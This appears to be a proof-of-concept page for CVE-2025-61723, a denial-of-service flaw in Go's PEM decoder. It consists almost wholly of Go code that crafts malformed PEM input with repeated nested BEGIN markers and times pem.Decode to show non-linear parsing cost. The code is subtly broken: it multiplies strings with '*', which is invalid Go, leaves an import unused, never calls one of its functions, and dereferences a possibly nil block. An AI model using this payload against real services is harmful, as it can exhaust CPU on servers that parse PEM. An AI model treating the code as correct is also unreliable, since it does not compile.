CVE-2025-61723: Go语言PEM解析器拒绝服务漏洞

package main import ( "fmt" "time" "encoding/pem" "io/ioutil" ) func generateMalformedPEM() string { // Generate malformed PEM input that triggers non-linear parsing // This creates a PEM block with crafted content that causes // the parser to consume excessive CPU time header := "-----BEGIN TEST-----\n" // Crafted payload: repeated malformed data patterns payload := "INVALID" + "A"*10000 + "\n" payload = payload + "-----BEGIN-----\n" // Nested/malformed header payload = payload + "B"*5000 + "\n" payload = payload + "-----BEGIN-----\n" // Another malformed header payload = payload + "C"*5000 + "\n" footer := "-----END TEST-----" return header + payload + footer } func main() { malformedPEM := generateMalformedPEM() fmt.Println("Starting DoS test with malformed PEM input...") fmt.Printf("PEM size: %d bytes\n", len(malformedPEM)) start := time.Now() // This will trigger the non-linear parsing behavior block, _ := pem.Decode([]byte(malformedPEM)) elapsed := time.Since(start) fmt.Printf("Parsing completed in: %v\n", elapsed) fmt.Printf("Decoded block type: %s\n", block.Type) fmt.Printf("Decoded block length: %d bytes\n", len(block.Bytes)) // With crafted input, parsing time should grow non-linearly if elapsed > 1*time.Second { fmt.Println("WARNING: Parsing took unexpectedly long time!") fmt.Println("This indicates potential DoS vulnerability") } } // Additional test: iterate with increasing input sizes func measureParsingTime() { sizes := []int{1000, 2000, 5000, 10000, 20000} fmt.Println("\nMeasuring parsing time vs input size:") for _, size := range sizes { payload := generateMalformedPEMOfSize(size) start := time.Now() pem.Decode([]byte(payload)) elapsed := time.Since(start) fmt.Printf("Size %d -> Time %v\n", size, elapsed) } } func generateMalformedPEMOfSize(targetSize int) string { header := "-----BEGIN MALFORMED-----\n" footer := "-----END MALFORMED-----\n" // Generate content to approach target size content := "X" for len(content) < targetSize { content += "-----BEGIN-----\nY\n" } return header + content + footer }